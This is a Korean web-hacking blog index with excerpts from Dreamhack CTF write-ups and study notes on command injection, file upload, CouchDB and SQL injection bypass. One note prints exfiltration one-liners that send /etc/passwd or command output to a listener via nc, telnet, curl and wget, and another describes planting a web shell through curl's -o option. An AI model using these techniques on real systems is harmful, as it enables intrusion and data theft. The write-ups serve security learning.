본문 바로가기

웹해킹

(116)
드림핵 Apache htaccess 롸업 Online File Box Choose a file... No file uploaded index.php 파일이다. index.php에는 별 내용이 없고 그냥 upload.php를 form action으로 해서 파일을 업로드하는 폼인 것 같다.
File Vulnerability Advanced 윈도우는 기본적으로 마이크로소프트의 internet information services(IIS) 내장 웹 서버를 제공한다. 또한, 아파치 웹 서버, nginx 등의 소프트웨어를 선택해 사용할 수 있다. 윈도우는 리눅스와 달리 드라이브를 지정할 수 있다. 운영 체제 및 서비스의 로그와 각종 문서가 저장되는 위치이다. 운영 체제 및 서비스를 구성하는 설정 파일이다. 프로그램의 명령어가 저장된 위치와 이들을 실행하기 위한 라이브러리의 위치이다. 운영 체제를 구성하기 위한 파일이다. 운영 체제 및 서비스에서 사용하는 임시 디렉터리이다. 윈도우 웹 서버는 AUTHORITY\LocalService 또는 NT AUTHORITY\NetworkService 사용자 권한으로 실행된다. 아파치 (Apache) 웹 서버는 ..
드림핵 Command Injection Advanced 롸업 Online Curl Request URL url 파라미터에 입력값을 받고, http 문자열로 시작하는지 검사한다. http 문자열이 포함되어 있다면 shell_exec 함수를 통해 curl 명령어를 실행한다. url 파라미터 값이 인자로 전달되는데 escapeshellcmd 함수 때문에 셸 메타 문자를 사용할 수 없다. curl 명령어의 -o옵션을 사용하면 파일을 생성할 수 있다. cache 디렉터리에 쓰기 권한이 있기 때문에 cache 디렉터리에 파일을 생성하고 접속해볼 수 있다. 우선 -h 옵션으로 옵션 삽입이 가능한지 확인해볼 수 있다. http문자열로 시작해야 하기 때문에 httptest -h 를 입력하면 이렇게 정상적으로 작동한다. 이제 -o 옵션으로 웹 셸 코드를 cache 디렉터리 안에 올..
Command Injection Advanced 실행한 명령어의 결과가 보여지지 않을 때 할 수 있는 공격 방법들이 있다. 삽입할 명령줄에 네트워크 도구를 함께 실행해 자신의 서버에 명령어 실행 결과를 전송한다. 네트워크 도구를 서버에 설치할 수 있거나 설치되었을 때 사용 가능한 방법이다. cat /etc/passwd | nc 127.0.0.1 8000 cat /etc/passwd | telnet 127.0.0.1 8000 nc와 telnet 명령어로 실행 결과를 전송할 수 있다. curl http://127.0.0.1:8080/ -d "$(ls -al)" wget http://127.0.0.1:8080 --method=POST --body-data="`ls -al`" curl와 wget을 이용해 웹 서버의 컨텐츠를 가져오면서 명령어의 실행 결과를 P..
드림핵 phpMyRedis 롸업 phpMyRedis Config Command Save
드림핵 NoSQL-CouchDB 롸업 app.post('/auth', function(req, res) { users.get(req.body.uid, function(err, result) { if (err) { console.log(err); res.send('error'); return; } if (result.upw === req.body.upw) { res.send(`FLAG: ${process.env.FLAG}`); } else { res.send('fail'); } }); }); auth 부분을 보면 get방식으로 받은 uid를 그대로 이용해서 upw를 불러온다. 입력 값에 필터링 같은게 없기 때문에 특수 구성 요소를 이용하면 원하는 정보를 얻을 수 있다. uid에 _all_docs를 입력하고 조회하면 upw는 undefined가..
NoSQL NoSQL은 Not Only SQL로 데이터베이스와 관련된 작업을 할 때 SQL을 사용하지 않아도 된다. 관계형 데이터베이스(RDBMS)와 달리 복잡하지 않은 데이터를 관리한다. CouchDB는 키와 값이 하나의 쌍을 이루는 데이터를 저장하고 JSON 객체 형태인 도큐먼트를 저장한다. HTTP 기반의 서버로 동작하며 REST API 형식으로 HTTP 메소드를 사용해 요청을 받고 처리한다. CouchDB의 특수 구성 요소이다. NodeJS에서 CouchDB를 사용할 때에는 nano 패키지를 사용한다. nano 패키지의 get 함수는 전달된 인자에 대해 앞서 배운 특수 구성 요소의 포함 여부를 검사하지 않기 때문에 공격자는 특성 구성 요소를 통해 데이터베이스의 정보를 획득할 수 있다. > require('n..
드림핵 sql injection bypass WAF Advanced 롸업 CREATE DATABASE IF NOT EXISTS `users`; GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass'; USE `users`; CREATE TABLE user( idx int auto_increment primary key, uid varchar(128) not null, upw varchar(128) not null ); INSERT INTO user(uid, upw) values('abcde', '12345'); INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}'); INSERT INTO user(uid, upw) values('guest',..